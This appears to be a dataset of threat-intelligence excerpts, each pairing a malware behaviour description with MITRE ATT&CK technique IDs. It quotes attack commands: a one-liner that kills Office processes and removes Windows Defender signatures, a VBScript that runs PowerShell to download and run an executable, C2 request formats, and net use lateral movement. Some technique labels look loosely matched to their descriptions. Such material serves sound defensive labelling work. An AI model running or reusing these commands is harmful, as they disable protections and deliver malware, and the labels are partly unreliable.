Threat description: The macro performs all of these activities with the following command:cmd /c taskkill /f /im winword.exe&taskkill /f /im Excel.exe&taskkill  /f /im MSPUB.exe&taskkill /f /im POWERPNT.EXE&taskkill /f /im  MSASCuiL.exe&taskkill /f /im MpCmdRun.exe&cd ""%ProgramFiles%\Windows  Defender"" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exitThe macro also attempts to deactivate security mechanisms within Microsoft Office products by modifying the registry
MITRE ATT&CK techniques:
T1036
T1055.012
T1112
Threat description: The mechanism for downloading additional components is based on the Computer Name and UserName of the endpoint provided by the malware process to the control server in the following HTTP GET request: GET http://ink[dot]inkboom.co.kr/host/img/jpg/download.php?filename=<Computer_Name>_<username>&continue=dnsadmin After successfully retrieving the component from the control server, the next-stage payload is copied to the Application Data directory of the current user and executed: C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\hupdate.ex (note “ex,” not “exe”)  The capability to download additional components from the control server
MITRE ATT&CK techniques:
T1033
T1105
Threat description: The plugin URL is stored in file in following format:  /plugin/index.php?plugin=<Plugin_Name>  The following plugins are found in the memory of the Zyklon malware:  /plugin/index.php?plugin=cuda /plugin/index.php?plugin=minerd /plugin/index.php?plugin=sgminer /plugin/index.php?plugin=socks /plugin/index.php?plugin=tor /plugin/index.php?plugin=games /plugin/index.php?plugin=software /plugin/index.php?plugin=ftp /plugin/index.php?plugin=email /plugin/index.php?plugin=browser  The downloaded plugins are injected into: Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
MITRE ATT&CK techniques:
T1027.002
T1068
Threat description: The Trojan will respond to the C2 to notify it of a successful upload by sending a URL structured as follows:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(“File Uploaded”)> The download command (3) reads the contents of a specified file and sends the data to the C2 server
MITRE ATT&CK techniques:
T1105
T1071
Threat description: The Trojan will respond to the C2 with “PRIVMSG <username> : <message> [<specified path>]”
MITRE ATT&CK techniques:
T1033
Threat description: The webpage contained both CVE-2014-6332 exploit code and a VBScript that invoked PowerShell on the affected users’ system to download the below payload:     function runmumaa()     On Error Resume Next     set shell=createobject("Shell.Application")     shell.ShellExecute "powershell.exe","-NoLogo -NoProfile                 -NonInteractive -WindowStyle Hidden ( New-Object                         “System.Net.WebClient”).DownloadFile(“http://www.playboysplus.com        /install/install.exe”,”install.exe”);Invoke-Item install.exe", "",         "open", 1     end function The CVE-2014-6332 exploit code seen in this incident is derived from the code published at http://www.exploit-db.com/exploits/35230/, which has also been incorporated in the Metasploit project
MITRE ATT&CK techniques:
T1036
T1055.012
T1068
Threat description: The webshell will iterate through the IP list and perform a series of commands for each IP, starting off with using the following command to connect to the remote system: net use [IP address] /user:[domain admin username] [domain admin password] 2>&1 After connecting to the remote system with net use, the webshell will run the following command to obtain a list of user folders: dir /b [IP address]\c$\Users 2>&1 With a list of user folders, the webshell will iterate through the list of users and enumerate all of the files in the following folders: [IP address]\c$\Users\[username]\Desktop [IP address]\c$\Users\[username]\Documents [IP address]\c$\Users\[username]\Downloads The Network Downloader function will gather all the files in these folders and use 7-Zip to compress and archive the files
MITRE ATT&CK techniques:
T1033
T1016
T1204
T1087
Threat description: They consist mainly of persistence mechanisms and simple instructions despite their different forms (VBS scripts, PowerShell scripts, known software with open source code that can be backdoored, and in-house built dotnet apps)
MITRE ATT&CK techniques:
T1064
T1547.001
Threat description: They utilised Windows commands in order to enumerate and conduct reconnaissance activities such as tasklist.exe, ping.exe, netstat.exe, net.exe, systeminfo.exe, ipconfig.exe and bcp.exe
MITRE ATT&CK techniques:
T1036
T1055.012
Threat description: This version of HALFBAKED connects to the following C2 server: hxxp://198[.]100.119.6:80/cd hxxp://198[.]100.119.6:443/cd hxxp://198[.]100.119.6:8080/cd This version of HALFBAKED listens for the following commands from the C2 server:  info: Sends victim machine information (OS, Processor, BIOS and running processes) using WMI queries processList: Send list of process running screenshot: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1) runvbs: Executes a VB script runexe: Executes EXE file runps1: Executes PowerShell script delete: Delete the specified file update: Update the specified file  All communication between the backdoor and attacker C2 are encoded using the following technique, represented in pseudo code: Function send_data(data)                 random_string = custom_function_to_generate_random_string()                 encoded_data = URLEncode(SimpleEncrypt(data))                 post_data("POST”, random_string & "=" & encoded_data, Hard_coded_c2_url, Create_Random_Url(class_id)) The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information based on our investigations of a variety of topics discussed in this post, including FIN7 and the HALFBAKED backdoor
MITRE ATT&CK techniques:
T1041
T1070.004
Threat description: UAC bypass via DLL hijacking requires:  A Windows executable with the auto-elevate property in its manifest A Windows executable in a secure directory (%systemroot%\system32)  The malicious NTWDBLIB DLL performs the simple task of setting up the malicious ipnet.dll as a service by running one of the two batch files contained in the CAB file (which is also dropped to %systemroot%\system32):  NTWDBLIB executing the installer batch files under the context of cliconfg.exe.  The batch files involved in the attack modify the system service COMSysApp to load the malicious ipnet.dll
MITRE ATT&CK techniques:
T1055
T1548.002
Threat description: We are not sure if this works, but the command name would suggest it is meant to take a screenshot   $command Runs a PowerShell command and sends the output to the C2   slp:\d+ Sets the sleep interval between C2 beacons   $testmode Issues DNS queries of A, AAAA, AC, CNAME, MX, TXT, SRV and SOA types to the C2 servers attempting to determine which DNS query types were successful
MITRE ATT&CK techniques:
T1043
T1571
T1008
T1071
Threat description: When macros are enabled and run, the macro within the Word document searches the sections of the document to get the contents of the header using the following piece of code:       Set rng = ActiveDocument.Sections(intSection).Headers(1).Range     The code above obtains the contents of the header, which the macro will write to a file at C:\programdata\Office365DCOMCheck.ps1
MITRE ATT&CK techniques:
T1140
T1204
T1083